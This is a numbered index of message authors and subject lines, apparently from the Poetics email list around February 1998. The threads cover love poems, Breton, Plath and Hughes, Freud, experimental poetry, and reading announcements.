170. Sylvester Pollet — Re: Breton's woman, Breton's poem
171. pritchpa — Re: Breton's woman, Breton's poem
172. Mark Prejsnar — Rasulating
173. R M Daley — Re: Love Poems
174. Jacques Debrot — Re: Breton poem
175. Henry Gould — Celan to Mandelstam
176. Karen Kelley — Re: Love Poems
177. William Marsh — Re: a posting to poetics (late)
178. Rachel Levitsky — movie query
179. Jacques Debrot — Breton+Eluard
180. Sylvester Pollet — Re: Request for assistance
181. Gary Sullivan — Re: Dan Davidson
182. p. durgin — Call for work -->
183. Joe Brennan — Re: Love Poems
184. Mark Weiss — Re: "My man"
185. Maria Damon — Re: Love Poems
186. Maria Damon — Re: Love Poems
187. Aldon Nielsen — Re: criticism rues
188. Mark Weiss — Re: Breton's woman, Breton's poem
189. Christopher W. Alexander — valentine's criticism poem
190. k. lederer — Re: Love Poems
191. d powell — Re: Dan Davidson
192. Elizabeth Hatmaker — Re: "My man"
193. Carolyn Guertin — 44
194. linda russo — Re: Love Poems
195. Aldon Nielsen — Re: query: jazz and spoken word
196. J. Kuszai — Re: Dan Davidson
197. Andrew D Epstein — Re: Dan Davidson
198. Harold Rhenisch — Re: Love Poems
199. Mark Weiss — Re: Love Poems
200. William Burmeister Prod — Re: Breton's woman, Breton's poem
201. pritchpa — Re: Love Poems
202. david bromige — "my man" (for Gwyn McVay)
203. George Thompson — Re: Breton's woman, Breton's poem
204. Maria Damon — Re: Love Poems
205. Maria Damon — fwd query
206. David Israel — Re: Breton's woman, Breton's poem
207. George Thompson — Re: "my man" (for Gwyn McVay)
208. Daniel Zimmerman — Re: "my man" (for Gwyn McVay)

209. Henry Gould — end of love poem
210. nuyopoman — Words/Music
211. Gwyn McVay — Re: "my man" (for Gwyn McVay)
212. Schuchat Simon — Re: Love Poems
213. Rachel Loden — Re: Breton's woman, Breton's poem

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214. LAURA MORIARTY — Re: Love Poems
215. david bromige — my mistress' eyes are (love poetry thread)
216. Louis Cabri — various - a spray
217. david bromige — "my man" (George Thompson's post)
218. Robert Hale — Sex, Power and Poetry
219. Susan Schultz — Re: to Gwyn McVay
220. Joshua N Schuster — spraying the communities
221. louis stroffolino — Re: "My man"
222. George Thompson — Re: "My man"
223. louis stroffolino — Re: various - a spray
224. Henry Gould — Re: various - a spray
225. Michael J. Kelleher — alyricmailer
226. Robert J Tiess — Re: Call for work -->
227. Gary Sullivan — Re: Dan Davidson
228. Maria Damon — Re: Love Poems
229. Maria Damon — Re: 44
230. Maria Damon — Re: a posting to poetics (late)
231. Maria Damon — Re: Celan to Mandelstam
232. Maria Damon — Re: spraying the communities
233. daniel bouchard — Re: a posting to poetics (late)
234. Mark Prejsnar — Re: Love Poems
235. Herb Levy — Re: movie query
236. Herb Levy — Winter/spring Subtext readings
237. KENT JOHNSON — Re: Love Poems
238. Joe Brennan — Re: Love Poems/"there, I said it"
239. sylvester pollet — Re: Dan Davidson
240. sylvester pollet — Re: Request for assistance
241. hen — Re: a posting to poetics (late)
242. louis stroffolino — Re: Sex, Power and Poetry
243. Tom Mandel — ma femme
244. Tom Mandel — Dan
245. Dale M Smith — Slander and Context
246. Tom Mandel — "my man"
247. R M Daley — Re: freud's trick
248. Eric Blarnes — I say
249. LAURA MORIARTY — Re: various - a spray
250. David Kellogg — Re: "my man"
251. Mark Weiss — Re: movie query
252. Jaqck Spandrift — reading announcement
253. Mark Weiss — Re: Love Poems
254. Catherine Daly — machine translation
255. Hank Lazer — Re: a posting to poetics (late)
256. david bromige — laura moriarty's e-ddress
257. KENT JOHNSON — Incorrect
258. d powell — Sexy Ruminants
259. d powell — Re: my man (for Gwyn McVay)
260. david bromige — "my woman"
261. dw — Re: various - a spray
262. d powell — Re: my man

263. William Marsh — Re: a posting to poetics (late)
264. Don Byrd — Re: Shuster, on Anti-academicism, Derrida, Community
265. William Marsh — Re: a posting to poetics (late)
266. Mark Nowak — Lee Chapman
267. Gary Sullivan — Re: Dan
268. Bobbie West — numerology and death
269. Harold Rhenisch — Re: Love Poems
270. George Thompson — Re: "my man" (George Thompson's post)
271. Schuchat Simon — Re: 44
272. Simon/Piombino — Re: Daniel Davidson

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273. Pierre Joris — Re: ma femme
274. Taylor Brady — Call for Submissions
275. Michael McColl — Steve Evans article?
276. Keston Sutherland — advertisement
277. Rachel Levitsky — Love poems
278. nikuko — From Kon as well (this is from both of us!)
279. Henry Gould — Re: a posting to poetics (late)
280. Rachel Levitsky — Re: movie query
281. david bromige — Dale Slander Context and Smith
282. KENT JOHNSON — Good sex
283. Pierre Joris — Re: spraying the communities
284. Aldon Nielsen — Re: Slander and Context
285. Danny Huppatz — Re: spraying the communities
286. david bromige — sex power poetry
287. Maria Damon — Re: a posting to poetics (late)
288. Gwyn McVay — spice power poetry/Acker
289. Pierre Joris — Re: Good sex
290. Louis Cabri — colding & heating
291. Karen Kelley — male-identified female poet
292. Don Byrd — Re: the T. Clark thread (and various others)
293. Poetics List — Nikuko [?] = [?] Sondheim
294. Joe Brennan — Re: freud's trick
295. Joe Brennan — Re: Incorrect
296. robert drake — Re: Steve Evans article?
297. Louis Cabri — (no subject)
298. Henry Gould — Re: colding & heating

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299. Tenney Nathanson — Re: movie query
300. Tenney Nathanson — Re: sex power poetry
301. Karen Kelley — Re: laura moriarty's e-ddress
302. Rebecca Weldon Sithiwong — Love Poems
303. Tom Mandel — who published Absence Sensorium
304. Tom Mandel — my French insistance
305. louis stroffolino — Re: sex power shakespearey
306. Lisa Samuels — Re: colding & heating
307. Karen Kelley — Re: movie query
308. Joe Ahearn — Re: freud's trick
309. R M Daley — Re: freud's trick
310. R M Daley — Re: freud's trick
311. Joe Ahearn — Re: freud's trick
312. Kali Tal — Re: freud's trick
313. William Slaughter — Mudlark
314. Karen Kelley — Re: freud's trick
315. Joe Brennan — Re: freud's trick

316. Joe Brennan — Re: freud's trick
317. Joe Brennan — Re: freud's trick
318. Karen Kelley — help
319. Henry Gould — (no subject)
320. George Thompson — Re: freud's trick
321. Pierre Joris — Re: freud's trick
322. George Thompson — Re: freud's trick
323. simon — Re: freud's trick
324. Tenney Nathanson — Freud'd truck
325. Tenney Nathanson — Re: freud's trick
326. Tenney Nathanson — Re: machine translation
327. Tom Beard — my my

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328. Louis Cabri — PhillyTalk 4
329. Jacques Debrot — Re: PhillyTalk 4
330. Jacques Debrot — Re: Oops!
331. linda russo — address query
332. Mark Prejsnar — Re: Incorrect
333. daniel bouchard — Loner vs. Buddy System
334. Dale M Smith — O List-Master
335. Mark Wallace — Heather Fuller and Mark Wallace reading in NYC
336. Henry Gould — Re: Loner vs. Buddy System
337. David Zauhar — Re: Freud'd truck
338. d powell — Re: 44
339. dbkk — Re: freud's trick
340. KENT JOHNSON — A ship called Comrade
341. Sylvester Pollet — Japanese Characters
342. Maria Damon — query
343. Sylvester Pollet — Japanese characters
344. Maria Damon — Re: freud's trick
345. David Zauhar — CFS: _Time-Sense_, a Gertrude Stein quarterly (fwd)
346. MAYHEW — Freud
347. pritchpa — Re: Incorrect
348. Miekal And — Re: Announcement: JENNIFER
349. Christopher W. Alexander — Announcement: JENNIFER
350. p. durgin — t r i p w i r e
351. Henry Gould — a ship called comrade
352. KENT JOHNSON — Sex Objects
353. Maryrose Larkin — Re: address query
354. Christopher W. Alexander — Announcement: JENNIFER
355. Bob Grotjohn — Re: 44
356. Christopher W. Alexander — Re: fwd query
357. Miekal And — Da Slander Con and mYth
358. William Burmeister Prod — Surf music
359. Joe Ahearn — Re: freud's trick
360. Joe Ahearn — Re: freud's trick
361. Joe Ahearn — Re: freud's trick
362. Safdie Joseph — Re: last week at Small Press Traffic
363. Steven Marks — Re: Announcement: JENNIFER
364. k. lederer — Re: freud's trick
365. k. lederer — Re: freud's trick
366. k. lederer — Re: freud's trick
367. John Tranter — Jacket # 2 - Ashbery Issue - is complete.
368. k. lederer — Re: "Indie Critics," Evans, Rod Smith, baloney--
369. Karen Kelley — Re: freud's trick

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370. Louis Cabri — Re: colding & heating
371. David Israel — law & love
372. dbkk — Duncan tribute at Small Press Traffic
373. Pierre Joris — bb's bd
374. louis stroffolino — INDIVIDUAL-UNREAL
375. louis stroffolino — Re: bb's bd
376. Henry Gould — Re: colding & heating
377. Hen — Re: Surf music
378. Hen — Re: law & love
379. louis stroffolino — Re: colding & heating
380. sean bonney — Poetry is not a subculture
381. sean bonney — Missing persons
382. Pierre Joris — Re: Missing persons
383. Hank Lazer — Re: john kinsella
384. Lisa Samuels — Re: INDIVIDUAL-UNREAL
385. Mark Prejsnar — Broaden yr horizons
386. MAYHEW — A recently discovered poem by Mme Breton
387. rsillima — 44 Freud
388. Hank Lazer — Re: Kinsella - e-address
389. Scott Pound — Re: spraying the communities
390. Gary Sullivan — Daniel Davidson - Partial Bibliography
391. Bob Grotjohn — Re: 44 Freud
392. louis stroffolino — Re: Missing persons
393. Mark Prejsnar — ocratic meditation
394. David Kellogg — Re: query
395. p. durgin — Re: Broaden yr horizons
396. Aldon Nielsen — Re: O List-Master
397. Pierre Joris — Re: Missing persons
398. Mark Prejsnar — Re: Broaden yr horizons
399. Aldon Nielsen — doings in LA
400. Aldon Nielsen — Re: Broaden yr horizons
401. Dale M Smith — Re: O List-Master
402. Aviva Wesley Vogel — Re: Broaden yr horizons
403. Miekal And — in queue
404. Miekal And — in queue
405. KENT JOHNSON — Private property
406. k. lederer — Re: "Indie Critics," Evans, Rod Smith, baloney--
407. Aldon Nielsen — Dan Davidson
408. Thomas Bell — Re: colding & heating
409. Thomas Bell — Re: 44 baseball poems
410. Aldon Nielsen — Re: of the ridiculous and the sublime
411. Kali Tal — Re: Private property
412. Louis Cabri — Re: colding & heating
413. Matthew Kirschenbaum — Re: Private property
414. robert drake — Re: O List-Master
415. Henry Gould — Re: colding & heating
416. Thomas Bell — Re: of the ridiculous and the sublime
417. Herb Levy — Re: of the ridiculous and the sublime
418. Joe Ahearn — Re: ocratic meditation
419. Tenney Nathanson — Re: ocratic meditation
420. Mark Weiss — Re: of the ridiculous and the sublime

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421. Hugh Steinberg — Re: colding & heating
422. Louis Cabri — set poetics nomail

423. George Bowering — Re: 44 Freud
424. dbkk — Raworth & Flores at SPT
425. George Bowering — Re: 44 baseball poems
426. Alan Myouka Sondheim — Re: 44
427. Pierre Joris — Re: spraying the communities
428. robert drake — Re: ocratic meditation
429. Henry Gould — Re: colding & heating
430. Maria Damon — Re: O List-Master
431. James Finnegan — Re: leopardi
432. Gwyn McVay — Re: Missing persons
433. pritchpa — Re: in queue
434. shemurph — Re: ocratic meditation
435. Robert Hale — GANG OF FOUR
436. rsillima — Why I'm not an experimental poet
437. Maria Damon — Re: set poetics nomail
438. Maria Damon — Re: query
439. Hilton Manfred Obenzinger — Re: 44
440. Safdie Joseph — Re: 44, baseball, Foucault
441. Michael Franco — mr gerrit lansing
442. KENT JOHNSON — sublimating the ridiculous
443. Christopher W. Alexander — Re: ocratic meditation
444. r.drake — Re: ocratic meditation
445. George Bowering — Re: 44, baseball, Foucault
446. Maria Damon — Re: query
447. pritchpa — Re: Sex Objects (late reply)
448. David Zauhar — Re: Why I'm not an experimental poet
449. sylvester pollet — Re: Why I'm not an experimental poet
450. Charles Bernstein — Reprinting material posted to Poetics
451. Steve Tills — Re: Why I'm not an experimental poet
452. David Israel — them boots
453. Miekal And — Why I'm an experimental poet
454. Jack Spandrift — Re: 44
455. David Kellogg — Re: query
456. Dale M Smith — Why I'm not an experimental poet
457. John Tranter — Jacket, again
458. James Finnegan — Re: Why I'm not an experimental poet
459. Simon/Piombino — Re: 44 Freud
460. KENT JOHNSON — A personal appeal
461. Kali Tal — Re: sublimating the ridiculous
462. d powell — Re: Poetry is not a subculture
463. Schuchat Simon — Re: 44
464. d powell — Re: Why I'm not an experimental poet
465. KENT JOHNSON — Intellectual property
466. Henry Gould — Re: Why I'm not an experimental poet
467. David Zauhar — Re: Why I'm not an experimental poet
468. Tom Mandel — Warren Spahn or warring spam?
469. Alan Myouka Sondheim — No Play
470. Rachel Levitsky — [Fwd: Urgent on Iraq - Please note the signers!!; U.S. v. Iraq: A Study i…
471. Don Byrd — Re: Foucault, Ron's experimentalism and Baseball

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472. David Israel — Re: A personal appeal
473. Karen Kelley — Lee Chapman
474. david bromige — socopo reading : charles alexander
475. Maria Damon — Re: sublimating the ridiculous
476. Pierre Joris — Re: Foucault, Ron's experimentalism and Baseball

477. George Bowering — Re: Why I'm not an experimental poet
478. Irving Weiss — Exhibits outside USA
479. George Bowering — Re: Warren Spahn or warring spam?
480. Gwyn McVay — Re: 44
481. MAYHEW — Freud and Silliman
482. Mark Prejsnar — Re: 44 baseball poems
483. rsillima — 363
484. Gary Sullivan — CALL FOR WORK
485. Steven Shoemaker — Re: Foucault, Ron's experimentalism and Baseball
486. Mark Prejsnar — Re: sublimating the ridiculous
487. Mark Prejsnar — Re: Warren Spahn or warring spam?
488. David Kellogg — Re: query
489. louis stroffolino — Re: FEBRUARY 14....
490. Joshua N Schuster — ok, well maybe I am an experimental poet
491. MAYHEW — Dana Gioa
492. Mark Prejsnar — Re: Broaden yr horizons
493. Miekal And — Re: Daniel Davidson - Partial Bibliography
494. david bromige — why i am not an expoet
495. Aldon Nielsen — Re: In which may be found what is set forth therein
496. David Israel — Re: A personal appeal
497. Aldon Nielsen — and another thing
498. david bromige — joshua _is_ an experimental poet
499. Aldon Nielsen — Re: query
500. Christopher W. Alexander — Re: A personal appeal
501. aerialedge — New @ Bridge Street. Sound States, Berrigan, Gizzis, &
502. Kali Tal — Re: Intellectual property
503. Dale M Smith — Hello?
504. Daniel Zimmerman — Re: Warren Spahn or warring spam?
505. Safdie Joseph — Re: and another found poem,
506. Thomas Bell — Re: lowest common denominator in electronic communication
507. Thomas Bell — Re: Why I'm an experimental poet
508. Aldon Nielsen — Re: Hello?
509. Thomas Bell — Re: Fri. night po wars, part VI
510. KENT JOHNSON — Speculations on identity

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511. William Marsh — Re: Hello?
512. Brian Lucas — Angle magazine
513. Brian Lucas — Angle again
514. Harold Rhenisch — Re: sublimating the ridiculous
515. Michael Magee — Re: ok, well maybe I am an experimental poet
516. Henry Gould — Re: Why I'm an experimental poet
517. Billy Little — hexperimental
518. Henry Gould — Re: Fri. night po wars, part VI
519. louis stroffolino — Re: Angle magazine
520. Miekal And — hexperimental
521. Robert Hale — Re: hexperimental
522. Christopher W. Alexander — Re: Hello? Kitty
523. William Burmeister Prod — Re: Hello?
524. Harold Rhenisch — experiment and poetry wars
525. henry gould — Re: experiment and poetry wars
526. KENT JOHNSON — Letter from South America
527. pritchpa — Re: Hello?
528. Bob Grumman — Re: Letter from South America
529. Joe Amato/Kass Fleisher — Re: Letter from South America
530. rsillima — Antimodernism and other institutions

531. Karen Kelley — Re: Letter from South America
532. Bob Grumman — Publication Announcements
533. KENT JOHNSON — Incredible

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534. Thomas Bell — Re: Fri. night po wars, part VI
535. Thomas Bell — Re: Hello? Kitty
536. Thomas Bell — Re: Letter from South America
537. KENT JOHNSON — Reply to Tom Bell (sadder and sadder)
538. KENT JOHNSON — I mean sabbatical
539. Karen and Trevor — hugh steinberg
540. Thomas Bell — Re: Reply to Tom Bell (sadder and sadder)
541. Alan Myouka Sondheim — SONG FOR EMPEROR JIMMU (see Nihong)
542. Miekal And — Happy Birthday Bern
543. KENT JOHNSON — Re: SONG FOR EMPEROR JIMMU (see Nihong)
544. Michael Magee — Re: experiment and poetry wars
545. Harold Rhenisch — Re: experiment and poetry wars
546. Laura Moriarty — sublime non
547. maz881 — New non

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548. David R. Israel — "you have a guest tonight"
549. rsillima — Spahn, Kutik, Spandrift
550. Michael Magee — Re: experiment and poetry wars
551. Matthew Kirschenbaum — update from the Blake Archive
552. Annie Finch — Claustrophic Convocation on Pattern
553. Michael J. Kelleher — NYC Reading at HERE
554. Harriet Zinnes — NYC Zinnes reading
555. Harold Rhenisch — Re: experiment and poetry wars
556. Harriet Zinnes — NYC Zinnes reading
557. k. lederer — Queries:
558. k. lederer — Re: Queries:
559. Richard Long — Re: Civil Society, or Knot?
560. Maryrose Larkin — Re: Queries:
561. Thomas Bell — Sadder and sadder to better to thank you and a reply
562. Charles Bernstein — Civil Society, or Knot?
563. Henry Gould — Re: Civil Society, or Knot?
564. Thomas Bell — Re: Spahn, Kutik, Spandrift
565. George Bowering — Re: sublimating the ridiculous

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566. Billy Little — contagion
567. David R. Israel — Re: Civil Society, or Knot?
568. R M Daley — Re: Queries:
569. k. lederer — Re: Queries:
570. rsillima — Banjo
571. KENT JOHNSON — Clarity
572. louis stroffolino — EMERGENCY
573. Alan Myouka Sondheim — NOISE news #7 (fwd)
574. Dale M Smith — Some Composed Responses
575. Scott Pound — Re: NYC Reading at HERE
576. Henry Gould — Re: Some Composed Responses
577. Harold Rhenisch — Re: sublimating the ridiculous
578. Thomas Bell — Re: Banjo
579. Jordan Davis — Raworth / Gardner @ Poetry City 3/5 7pm
580. Karen Kelley — Re: Some Composed Responses
581. david bromige — Dale and the b-c's

582. Jordan Davis — GRaet expecTAItons
583. Karen Kelley — Re: EMERGENCY
584. Henry Gould — Re: EMERGENCY
585. Robert Hale — Lacan on Poetry
586. Dale M Smith — Vizpo? Oh, no
587. Steve Tills — Re: Vizpo? Oh, no
588. Joe Amato/Kass Fleisher — news flash...
589. Gwyn McVay — Re: EMERGENCY
590. david bromige — a civil tongue
591. Joe Brennan — Re: Lacan on Poetry
592. David Kellogg — Re: Lacan on Poetry
593. Tosh — Re: Vizpo? Oh, no
594. Joe Ahearn — Re: Some Composed Responses
595. Don Summerhayes — a civil tongue
596. simon — Oklahoma query
597. Maria Damon — Re: contagion
598. henry — Re: EMERGENCY
599. Mark Weiss — Re: Lacan on Poetry
600. Harriet Zinnes — Re: Oklahoma query
601. David R. Israel — Fenton on Hughes' Plath
602. Daniel Zimmerman — Re: Lacan on Poetry
603. Joe Brennan — Re: Lacan on Poetry
604. George Bowering — Re: Banjo
605. George Bowering — Re: Vizpo? Oh, no
606. George Bowering — Re: Why I'm an experimental poet

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607. Kenneth Sherwood — Announcing: LOCAL EFFECTS -- For Robert Creeley (RIF/T 06)
608. maz881 — Re: Civil Society, or Knot
609. Mark Weiss — Re: Lacan on Poetry
610. Miekal And — Re: ripblinkly broken skyword
611. Miekal And — Why poet funny, no?
612. Miekal And — [FLASHFORWARD] Writing on the wall or where has the vispo rant gone?
613. Pierre Joris — Re: Fenton on Hughes' Plath
614. Daniel Carter — ripblinkly broken skyword
615. Sylvester Pollet — Re: Oklahoma query
616. Mark Prejsnar — Re: news flash...
617. Joe Amato/Kass Fleisher — Re: news flash...
618. Pierre Joris — [Fwd: Martha Gellhorn obit]
619. Joe Brennan — Re: Lacan on Poetry
620. Harold Rhenisch — Re: Fenton on Hughes' Plath
621. Harold Rhenisch — Re: Why poet funny, no?
622. Christopher W. Alexander — Re: Why poet funny, no?
623. Christopher W. Alexander — Re: Dale and the b-c's
624. Pierre Joris — Re: Lacan on Poetry/oops
625. Joe Brennan — Re: Lacan on Poetry/oops
626. Mark Weiss — Re: Oklahoma query
627. Joe Brennan — Re: Vizpo? Oh, no
628. MAYHEW — Why I'm an experimental poet, part 57
629. k. lederer — Queries of a different stripe--
630. louis stroffolino — RANSOM STROFFOLINO READING
631. Aldon Nielsen — Re: curiouser and curiouser
632. Mark Weiss — Re: Lacan on Poetry/oops
633. dbkk — Dahlen/Gudath at SPT
634. Carolyn Koo — No Roses Review
635. Judy Roitman — address query

636. d powell — Re: curiouser and curiouser
637. Judy Roitman — Ken Irby
638. Poetics List — Adjunct Faculty Congress
639. Dr. Joshua McKinney — Re: No Roses Review
640. Aldon Nielsen — Re: Adjunct Faculty Congress
641. Aldon Nielsen — Re: Ken Irby
642. Joe Brennan — Re: Lacan on Poetry/oops
643. Steve Tills — Re: Ken Irby
644. charssmith — Re: Ken Irby
645. Aldon Nielsen — Re: Ken Irby
646. charssmith — Re: Ken Irby
647. Pierre Joris — Re: Ken Irby
648. Pierre Joris — Re: Fenton on Hughes' Plath
649. George Bowering — Re: Vizpo? Oh, no
650. Michael McColl — Re: Fenton on Hughes' Plath
651. Michael McColl — Re: Fenton on Hughes' Plath

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652. Michael McColl — Hughes on Plath
653. Laurie Schneider/Crag Hill — Vizpo, Oh no!
654. Kali Tal — Ted, Sylvia and Robin Morgan
655. k. lederer — Re: No Roses Review
656. k. lederer — Re: No Roses Review
657. dbuuck — Announcing tripwire: a journal of poetics
658. Mark Baker — Re: Hughes on Plath
659. Pierre Joris — ej
660. Miekal And — treeblood
661. sylvester pollet — Re: Ken Irby
662. robert drake — Chiapas mail art show (forward)
663. Miekal And — Re: Kenneth Irby, where to begin?
664. Pierre Joris — Re: Fenton on Hughes' Plath
665. James Finnegan — Re: Hughes' Crow
666. Pierre Joris — Re: ej
667. Pierre Joris — Re: Ted, Sylvia & Phil
668. James Finnegan — Re: Ted, Sylvia & Phil
669. Suzanne Burns — Re: Fenton on Hughes' Plath
670. Herb Levy — Re: Ted, Sylvia & Phil
671. Suzanne Burns — Re: Hughes on Plath
672. pritchpa — Re: Dahlen query
673. louis stroffolino — Re: Hughes' Crow
674. groberts — Re: Why I'm an experimental poet, part 57
675. William Burmeister Prod — Re: Why poet funny, no?
676. MAYHEW — Tis better to be vile than vile esteemd
677. Maria Damon — Re: Adjunct Faculty Congress
678. Gary Sullivan — HUGHES/PLATH
679. Dale M Smith — Re: Ted, Sylvia & Phil
680. k. lederer — Re: Hughes on Plath
681. Keston Sutherland — venom context
682. Harold Rhenisch — Re: Ted, Sylvia & Phil
683. Maria Damon — Re: Hughes on Plath
684. Maria Damon — Re: Ken Irby
685. Brian McHale — Re: Dark, archetypal Ted
686. dbkk — dead frog's legs touched by electrodes
687. Maryrose Larkin — Re: Ken Irby
688. William Burmeister Prod — Re: Ted, Sylvia & Phil
689. Michael Franco — GERRIT LANSING Greetings and Reading

690. David Zauhar — Kenneth Irby, where to begin?
691. Michael McColl — Re: Fenton on Hughes' Plath
692. Michael McColl — Re: dead frog's legs touched by electrodes
693. Judy Roitman — Re: dead frog's legs touched by electrodes
694. Fred Muratori — Vile, Nasty Animals
695. Suzanne Burns — Re: Hughes on Plath
696. James Finnegan — Re: Dark, archetypal Ted
697. Robert Zamsky — Re: Lacan on Poetry/oops
698. James Finnegan — Re: Ted, Sylvia & Phil
699. Charles Weigl — Re: Hughes on Plath
700. David Zauhar — Re: Kenneth Irby, where to begin?
701. Harold Rhenisch — turf wars
702. Henry Gould — crow
703. MAYHEW — poetics seminar
704. Bob Grumman — Re: Vile, Nasty Animals
705. George Bowering — Re: Vizpo, Oh no!
706. David Zauhar — Hughes, Plath, Polemics
707. charssmith — Irby Checklist
708. James Finnegan — Re: the "project"
709. Maria Damon — Re: Dark, archetypal Ted
710. Rebecca Weldon Sithiwong — GANG OF FOUR
711. Schuchat Simon — Re: venom context
712. Maria Damon — kirby
713. Thomas Bell — Re: Ted, Sylvia & Phil

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714. R M Daley — harry carey's death
715. david bromige — tis better to be vile than vile esteem'd
716. Marjorie Perloff — Re: Plath and Hughes
717. Mark Baker — Re: dead frog's legs touched by electrodes
718. Mark Weiss — Re: Lacan on Poetry/oops
719. David Israel — Re: Ted, Sylvia & Phil
720. Alan Myouka Sondheim — NIKUKO RAGES (fwd)
721. david bromige — KEN IRBY HIS BOOKS
722. MAYHEW — Hughes, Irby
723. Billy Little — baraka sez
724. Suzanne Burns — Re: Plath and Hughes
725. Judy Roitman — Re: the "project"
726. Billy Little — waistland, put a cawk in it
727. Douglas — Re: Irby Checklist
728. Douglas Barbour — Re: Hughes using Plath for?
729. Joe Amato/Kass Fleisher — Re: turf wars
730. joel lewis — hughes,plath & larkin
731. jarnot — sharma & shapiro reading
732. Judy Roitman — Re: Irby Checklist
733. louis stroffolino — Re: Plath and Hughes
734. Maria Damon — Re: baraka sez
735. Maria Damon — Re: dead frog's legs touched by electrodes
736. Maria Damon — Re: crow
737. Suzanne Burns — Re: the "project"
738. dbkk — I and you
739. k. lederer — Re: Plath and Hughes
740. Mark Baker — Re: dead frog's legs touched by electrodes
741. Aldon Nielsen — Re: Ted, Sylvia & Phil; Larkin's life sins
742. Laura Moriarty — Bellamy, Burger, & Jarnot
743. Mark Weiss — Re: Plath and Hughes

744. David Israel — Re: hi-gloss
745. Gwyn McVay — Re: Plath and Hughes
746. Mark Weiss — Re: Plath and Hughes
747. Joe Brennan — Re: Lacan on Poetry
748. David Israel — Re: Bellamy, Burger, & Jarnot / Loden (etc.)
749. k. lederer — Re: Plath and Hughes
750. k. lederer — Re: Plath and Hughes
751. James Finnegan — Re: turf wars
752. Robin Morris — Re: Plath and Hughes
753. David Israel — poet-heroes & suicide
754. Mark Weiss — Re: Plath and Hughes
755. Peter Balestrieri — Tired?
756. Joe Amato/Kass Fleisher — Re: turf wars
757. Susan Schultz — Re: Plath and Hughes
758. Joe Ahearn — Re: Tis better to be vile than vile esteemd
759. Karen Kelley — Re: Plath and Hughes
760. Blaise Cirelli — Watten - FRAME
761. Kevin Varrone — Philly Reading
762. Maria Damon — Re: hi-gloss
763. Maria Damon — Re: Plath and Hughes

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764. Laurie Schneider/Crag Hill — Re: POETICS Digest - 17 Feb 1998 to 18 Feb 1998
765. Thomas Bell — Re: Plath and Hughes and Freud and Jung
766. Rebecca Weldon Sithiwong — Hughes
767. Robert Hale — TROPE OF DARKNESS and adjectives
768. George Bowering — Re: crow
769. Tom Beckett — "stops"
770. Henry Gould — Re: Plath and Hughes
771. Marcella Durand — Re: GANG OF FOUR
772. linda russo — Tender buttons query
773. linda russo — Re: tender buttons q.
774. Gary Sullivan — Reply to Katy Lederer
775. Christopher W. Alexander — Re: Tired?
776. k. lederer — Re: poet-heroes & suicide
777. Robert Hale — Re: poet-heroes & suicide
778. Judy Roitman — Re: "stops"
779. d powell — Re: Reply to Katy Lederer
780. Elizabeth Hatmaker — Re: poet-heroes & suicide
781. Judy Roitman — Re: poet-heroes & suicide
782. Joe Amato/Kass Fleisher — Re: "stops"
783. pritchpa — Re: poet-heroes & suicide
784. Jordan Davis — stops
785. Keston Sutherland — Re: Reply to Katy Lederer
786. Billy Little — suicide
787. david bromige — poet suicides
788. Gabriel Gudding — SYCAMORE REVIEW
789. Miekal And — Re: "stops"
790. david bromige — p s to suicide
791. Gabriel Gudding — Re: poet-heroes & suicide
792. Miekal And — f stanford website?
793. k. lederer — Re: Reply to Katy Lederer
794. Miekal And — pose / poise
795. Joe Amato/Kass Fleisher — Re: poet-heroes & suicide
796. Mark Prejsnar — tabula rattled
797. Henry Gould — query LVNG

798. Henry Gould — Re: poet suicides
799. J. Kuszai — several unrelated topics
800. Rachel Loden — Re: poet-heroes & suicide
801. sylvester pollet — poetics of suicide
802. raea100900 — Re: Tender buttons query
803. Christopher W. Alexander — Re: "stops"
804. Christopher W. Alexander — it's the water
805. k. lederer — Re: Jorie Graham
806. Mark Weiss — poet-heroes, suicide and women's lot
807. d powell — Re: enough about Graham
808. Keston Sutherland — Re: poetics of suicide
809. Tom Beckett — Re: "stops"
810. Thomas Bell — Re: "stops"
811. rsillima — Most appalling quote of the week
812. Aviva Wesley Vogel — Jorie Graham Experimental?
813. Emma Bernstein — Re: Plath and Hughes
814. Schuchat Simon — Re: poet suicides
815. Aviva Wesley Vogel — Jorie, Idealism, Monistic Idealism, Plato, Buddhism...
816. Aviva Wesley Vogel — Guardian Angel of the Swarm
817. Henry Gould — Re: Jorie Graham
818. Gwyn McVay — Other stealth bombs?
819. Henry Gould — Re: "stops"
820. Poetics List Administration — silly fact No. 215
821. Joe Brennan — Re: suicide
822. Henry Gould — Re: Jorie Graham Experimental?
823. Tom Beckett — Re: suicide
824. Henry Gould — Re: poet suicides
825. Henry Gould — plath/hughes etc.

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826. Maria Damon — Re: poet-heroes, suicide and women's lot
827. Henry Gould — Spring in Harlorn Nint
828. Mark Weiss — Re: poet-heroes, suicide and women's lot
829. David Israel — "stops" & "nonstop"
830. Don Wellman — Re: Guardian Angel of the Swarm
831. Suzanne Burns — Re: Jorie Graham
832. Tim Wood — Re: Rasula & Jorie Graham & Kostelanetz
833. Randy Prunty — Re: Jorie Graham Experimental?
834. Joe Amato/Kass Fleisher — Re: Plath and Hughes
835. Joe Brennan — Re: poet-heroes & suicide
836. Maria Damon — Re: Jorie Graham Experimental?
837. Maria Damon — Re: poet-heroes, suicide and women's lot
838. Maria Damon — Re: Rasula & Jorie Graham & Kostelanetz
839. Maria Damon — Re: Guardian Angel of the Swarm
840. Joe Amato/Kass Fleisher — Re: poet-heroes & suicide
841. Don Byrd — Rasula & Jorie Graham & Kostelanetz
842. Aviva Wesley Vogel — Re: Jorie Graham Experimental?
843. Aviva Wesley Vogel — Re: Jorie Graham
844. k. lederer — Re: Jorie Graham Experimental?
845. Tom Beckett — depression,suicide
846. Keston Sutherland — Re: More appalling officiousness of the week
847. Jordan Davis — Building a bridge to the 21st c.
848. Karen Kelley — Re: depression,suicide
849. david bromige — the suicide thread
850. Thomas Bell — Re: poet suicides
851. Joe Brennan — Re: depression,suicide

852. Joel Felix — Re: query LVNG and address query
853. Steve Tills — Re: depression,suicide
854. Douglas Barbour — Re: Hughes? Well...
855. B. Taylor — I was wondering...
856. Henry Gould — Re: depression,suicide
857. Henry Gould — query : Iraq
858. Tom Beckett — acker/scalapino

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859. Thomas Bell — Re: Poetry and Depression
860. Thomas Bell — (no subject)
861. louis stroffolino — Re: acker/scalapino
862. Don Byrd — Poetry and Depression
863. George Bowering — Re: Plath
864. Mark Baker — Re: Building a bridge to the 21st c.
865. Rebecca Weldon Sithiwong — Hughes2
866. L.MacMahon and T.R.Healy — Re: Jorie Graham Experimental?
867. Daniel Zimmerman — Re: query : Iraq
868. Joe Ahearn — Re: Poetry and Depression
869. rsillima — Temporary canons
870. Tom Beckett — acker/scalapino cont.
871. kim dawn — Deadly girl: A Place to SLeep
